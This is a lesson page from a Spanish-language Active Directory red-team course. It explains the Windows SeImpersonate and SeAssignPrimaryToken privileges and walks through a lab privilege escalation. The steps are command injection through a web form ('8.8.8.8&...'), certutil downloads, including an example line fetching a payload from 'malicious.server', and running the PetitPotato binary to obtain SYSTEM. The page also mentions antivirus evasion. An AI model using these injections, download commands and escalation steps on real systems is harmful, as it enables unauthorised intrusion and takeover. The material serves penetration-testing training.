Hacking en Active Directory - [CPAD-100]
Comprar cursoYouTubeTwitterLinkedIn
  • La Biblia del Hacking en ACTIVE DIRECTORY
    • ADVERTENCIA
    • Conoce a tu academia
    • Conoce a tu instructor
    • Aprende con nuestro curso
      • ¿Que Significa CPAD-100?
  • Introducción a Directorio Activo – (AD)
    • Fundamentos de AD
    • Componentes importantes de un Active Directory
    • Principales conceptos de un Directorio Activo
      • Diferencias entre GPO y ACL
    • ¿Por qué los atacantes van tras los controladores de dominio?
      • Ransomware en AD
    • Introduccion a Kerberos
      • Capa de transporte
      • Agentes
      • Claves de cifrado
      • Tickets
      • Privilege Attribute Certificate (PAC)
      • Mensajes
    • Proceso de autenticación en Kerberos
      • Kerberos Explicado con Parques y Atracciones
    • ¿Como funciona Kerberos?
    • S4U (Service for User)
    • Usuarios y grupo por defectos en AD
    • Biblia de comandos para el CPAD
  • Fundamentos Ofensivos
    • Introduccion al Curso Profesional de Pentesting para Juniors - [CPPJ]
    • ¿Qué es un Red Team?
      • Assume breach
    • ¿Qué es un Pentesting?
    • Instalacion de Kali Linux
      • Utilizando IP publica para auditorias reales
    • Transferencias de archivos
    • Cyber Kill Chain
    • MITRE
      • Ejemplo teorico
  • Enumeracion Externa
    • Credenciales expuestas
    • La importancia de la enumeracion en un red team
    • Reconocimiento y Recopilacion
    • Activos de informacion publicos
      • DNS records
      • Redes sociales
  • Vectores de ataque fisico
    • Physical Red Team Operations
    • Que es la intrusion fisica
      • Vectores de ataque
    • Rubber Ducky
    • Stuxnet
    • Introduccion a Flipper Zero
      • BadUSB
  • Introduccion Al Hacking Web
    • Tu primer Red Team contra Active Directory
      • Objetivos
      • CyberKillChain en CPAD
    • La importancia del hacking web en un red team contra AD
    • Curso gratuito con los labs de PortSwigger
    • Enumeracion sobre un servidor web desplegado en IIS
    • Inyeccion de comandos desde un formulario web
  • Post-explotacion en windows
    • Fundamentos de la Enumeracion local en un Windows
    • Enumeracion basica desde una WebShell
    • Fundamentos de escalacion de privilegios en Windows
      • ¿Que son altos privilegios en windows?
      • ¿Que son bajos privilegios en windows?
      • Identificando mis privilegios actuales
      • Tokens de acceso en Windows
      • Niveles de integridad en procesos de Windows
    • Privilegios en Windows
    • Abusando de los privilegios SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege
    • Introduccion al Curso Profesional de Pentesting contra Windows - [CPPW]
    • NT AUTHORITY\SYSTEM
    • Reverse Shell en PowerShell Indetectable
      • Introduccion al Curso RedTeam Ops Developer Senior
    • Migracion de WebShell a BurpSuite
    • Migracion de WebShell a Reverse Shell via PowerShell
    • Diferencia entre una WebShell y Reverse Shell
    • Introducción a PowerUp
    • Introducción a WinPEAS
  • Persistencia en Windows Local
    • Introduccion a la post-explotación y persistencia en Windows
    • Creacion de usuarios con net
    • Qué es Mimikatz
      • LSASS
      • Extraccion de credenciales con Mimikatz con binario
      • Extraccion de credenciales con Mimikatz con PowerShell
      • Resolucion de errores con Mimikatz
      • Mimikatz en la actualidad
  • Enumeracion en AD
    • Identificando un Domain Controller (DC) en red
    • ActiveDirectoryRights en el Contexto de Red Team
    • Enumeracion manual con GUI
    • Enumeracion con PowerShell ofensivo
      • Guia de comandos de PowerView.ps1
        • Enumeracion de usuarios
        • Enumeracion de Grupos
        • Enumeracion de Computadores
        • Enumeracion de GPO
        • Enumeracion de ACL
      • Utilizando ADPeas
    • Enumeracion con AD Module DLL
    • Enumeracion con BloodHound
    • Enumeracion con klist
    • Security Identifiers (SIDs)
    • Distinguished Name o DN
  • Vulnerabilidades y ataques en AD
    • Fundamentos de vulnerabilidades en AD
    • Password Spraying
      • La importancia de generar contraseñas personalizadas
      • Kerbrute
    • Relay Attacks
      • ¿Que es NTLM?
      • Utilizando impacket-ntlmrelayx
        • Análisis de impacket-ntlmrelayx
    • Credenciales en descripcion
      • Utilizando CrackMapExec
      • Utilizando BloodHound
    • Kerberoasting
      • Utilizando BloodHound
      • Utilizando Rubeus
      • Utilizando Impacket-GetUserSPNs
      • Utilizando CrackMapExec
      • Utilizando PowerView
    • ASREProastable
      • Utilizando Rubeus
      • Utilizando CrackMapExec
      • Utilizando Impacket-GetNPUsers
      • CVE-2022-33679
    • Unconstrained Delegation
      • TrustedToAuthForDelegation vs TrustedForDelegation
    • Constrained Delegation
      • Usuario
      • Computadora
        • Utilizando Rubeus
    • DnsAdmins
      • Utilizando PowerView.ps1
      • Utilizando NET
      • Cargando una dll maliciosa con dnscmd
      • Generando una DLL maliciosa
    • LAPS Reader
    • (RBCD) Resource-based constrained
    • Abuso de ACL
      • Enumeracion con PowerView
      • Tipos de permisos
        • Tabla de Referencia de Permisos y Derechos en Active Directory
      • Access Control Entry (ACE)
      • WriteDacl sobre Computador
      • GenericAll sobre Grupo
      • GenericAll sobre usuario
      • GenericWrite sobre computador
    • Abuso de GPO
      • ¿Qué es SysVol?
      • Utilizando PowerView
      • Solicitando TGT para el usuario gpowrite.user
      • Utilizando SharpGPOAbuse
      • Forzando la actualizacion de GPO
    • Zerologon - CVE-2020-1472
  • Movimiento lateral
    • Fundamentos de movimiento lateral en AD
    • Impersonation
    • Pass-the-Hash (PtH)
      • Identificando servicios para realizar el PTH
      • Utilizando Evil-WinRm
      • Utilizando impacket-psexec
      • Utilizando RDP
  • Persistencia y post-explotacion en AD
    • Fundamentos de persistencia y la post-explotación en AD
    • DCSync
      • Extracción de Credenciales del Dominio de Active Directory
      • Utilizando CrackMapExec
      • Utilizando Mimikatz
      • Utilizando Impacket-secretsdump
    • Creacion de usuarios en el dominio con net
    • Silver Ticket
      • Service Principal Name (SPN)
      • Silver Ticket para CIFS
    • Golden Ticket
      • Diferencias entre Silver Ticket y Golden Ticket
      • ¿Que es KRBTGT?
      • Variantes del Golden Ticket
        • Golden Ticket tradicional utilizando Mimikatz
        • Golden Ticket Inter-realm TGT
    • Pass The Ticket
      • PTT en Linux
      • PTT en Windows
    • Diamond Ticket
    • Bosques y relaciones de confianza
      • TrustAttributes y TrustType
      • Enumeracion utilizando ADPeas.ps1
      • Enumeracion utilizando nltest
      • Enumeracion utilizando .NET Framework
      • Enumeracion utilizando con PowerView
      • Enumerando con SharpHound
  • Introduccion a la evasion de defensas
    • Fundamentos de evasión de defensas
    • Introduccion a UAC
      • Bypass UAC utilizando FodhelperUACBypass.ps1
      • Bypass utilizando Kerberos y SMBExec
    • Evasión de antivirus
      • Utilizando HoaxShell
    • Introduccion a LOLBAS
    • AMSI para Hackers
    • Utilizando IP publicas y dominios confiables para el almacenamiento de herramientas
    • Codificando tus comandos de PowerShell en base64
      • Transferencia de archivos con base64
    • Política de ejecución de PowerShell
    • Introduccion a Sysinternals
    • Introduccion a AppLocker
    • Apagando defensas basicas
  • Introduccion a ataques modernos en AD
    • Fundamentos de Azure Active Directory
    • DCSync utilizando MSOL
    • Introduccion al Curso de Pentesting Contra Azure - [CPAZ]
  • Introduccion al Blue Team en Active Directory
    • Blue Team y SOC
    • Introduccion al Curso Profesional de Blue Team - [CPBLT]
    • Introduccion a Sysmon
      • Deteccion de comportamiento anomalo con ElasticSearch
  • Muchas Gracias
    • 🛡️ ¡Muchísimas Gracias por Participar! 🛡️
    • Importante
Con tecnología de GitBook
En esta página
  • SeAssignPrimaryTokenPrivilege
  • SeImpersonatePrivilege
  • Identificando SeImpersonatePrivilege
  • Utilizando certutil de LOLBAS para la descarga de archivos

¿Te fue útil?

  1. Post-explotacion en windows

Abusando de los privilegios SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege

AnteriorPrivilegios en WindowsSiguienteIntroduccion al Curso Profesional de Pentesting contra Windows - [CPPW]

Última actualización hace 1 año

¿Te fue útil?

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: . ¡Te esperamos para empezar este viaje juntos!

OBJETIVO DEL EJERCICIO #3:

Realizar una escalacion de privilegios en un Windows (WEBSERVER) por medio del abuso del Token SeImpersonatePrivilege. Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER y First-DC.

Los sistemas operativos Windows utilizan un modelo de seguridad detallado que incluye la asignación de privilegios específicos a cuentas de usuario y servicios. Estos privilegios definen las operaciones que se pueden realizar sobre el sistema y son cruciales para la administración de la seguridad y el control de acceso. Entre estos privilegios, SeAssignPrimaryTokenPrivilege y SeImpersonatePrivilege juegan roles importantes en la gestión de identidades y el control de acceso, permitiendo a los procesos adoptar y asignar identidades de seguridad. A continuación, se detalla la función y la importancia de cada uno de estos privilegios en el contexto de la seguridad de Windows.

SeAssignPrimaryTokenPrivilege

El privilegio SeAssignPrimaryTokenPrivilege permite a un proceso asignar el token de acceso primario a un proceso. En Windows, un token de acceso es una estructura de seguridad que almacena la identidad y los privilegios de una cuenta de usuario o de un servicio, incluidos sus grupos de seguridad y otros derechos. Este privilegio es esencial para los procesos que necesitan crear otros procesos bajo una identidad diferente, lo cual es común en servicios o aplicaciones que actúan en nombre de varios usuarios.

Por ejemplo, un servicio de Windows que inicia sesiones de usuario podría utilizar este privilegio para crear procesos con los tokens de acceso de los usuarios que se están autenticando. Esto permite que el proceso se ejecute con los mismos derechos y privilegios que el usuario, asegurando que las operaciones se realicen bajo el contexto de seguridad adecuado.

SeImpersonatePrivilege

El privilegio SeImpersonatePrivilege permite a un proceso impersonar a otro usuario, es decir, tomar su identidad de seguridad temporalmente. Esto es útil en situaciones donde un proceso necesita actuar en nombre de otro usuario para acceder a recursos o realizar tareas específicas que requieren los privilegios de ese usuario. La impersonación es una parte clave de la arquitectura de seguridad de Windows, permitiendo una gestión de acceso flexible y segura.

Un caso de uso común de la impersonación es en los servicios de red, donde un servicio necesita acceder a recursos en nombre de un usuario remoto. Al impersonar al usuario, el servicio puede acceder a archivos, bases de datos y otros recursos utilizando los privilegios del usuario, sin necesidad de conocer su contraseña u otra información de autenticación.

Identificando SeImpersonatePrivilege

Cuando se encuentra como un usuario de bajo nivel en una máquina con Windows, siempre vale la pena verificar qué privilegios tiene su cuenta de usuario. Si tiene SeImpersonatePrivilege y/o SeAssignPrimaryTokenPrivilege, hay un vector de ataque muy simple que puede aprovechar para obtener acceso a nivel de SYSTEM.

Utilizamos el payload sobre el aplicativo web:

8.8.8.8&whoami /priv

Vamos a realizar la escalacion de privilegios utilizando la siguiente herramienta:

En entornos reales, probablemente el antivirus te detecte este binario y tendrias que realizar tecnicas de evasion sobre el proyecto para tratar de cambiar la firma.

Utilizando certutil de LOLBAS para la descarga de archivos

Teniendo en cuenta que esta maquina tiene salida a internet, vamos a descargar el binario utilizando Introduccion a LOLBAS

Certutil es una de esas herramientas. Es un comando de línea utilizado para ver y administrar certificados, entre otras tareas relacionadas. Sin embargo, tiene funcionalidades que pueden ser abusadas para otros fines, como:

  1. Transferencia de archivos: certutil puede descargar o subir archivos. Un atacante puede usarlo para traer un payload malicioso a una máquina comprometida o exfiltrar datos.

    Ejemplo para descargar un archivo:

    certutil -urlcache -f http://malicious.server/payload.exe payload.exe
  2. Codificación y decodificación: Puede usarse para codificar y decodificar archivos en formatos como base64. Esto puede ser útil para evadir controles de seguridad o disfrazar payloads.

    Ejemplo para decodificar un archivo:

    certutil -decode input.txt output.exe
  3. Inspección de certificados: Aunque este es su propósito original, un atacante puede utilizarlo para ver certificados y buscar configuraciones inseguras o certificados maliciosos.

Teniendo en cuenta la explicacion anterior ejecutamos lo siguiente:

8.8.8.8& certutil -urlcache -f https://github.com/wh0amitz/PetitPotato/releases/download/v1.0.0/PetitPotato.exe C:\Users\Public\PetitPotato.exe

Despues de la ejecuccion previa, obtenemos lo siguiente:

Vamos a validar la descarga:

8.8.8.8& dir C:\Users\Public\PetitPotato.exe

Ahora que hemos descargado este binario que tiene la funcionalidad de escalar privilegios por medio del token localizado, simplemente podemos ejecutar el siguiente comando:

8.8.8.8& C:\Users\Public\PetitPotato.exe 3 "whoami"

En la evidencia previa, se puede apreciar que tenemos una shell de "nt authority\system".

https://wa.link/j265a0
El significado de nt authority\system esta aqui.
GitHub - wh0amitz/PetitPotato: Local privilege escalation via PetitPotam (Abusing impersonate privileges).GitHub
Logo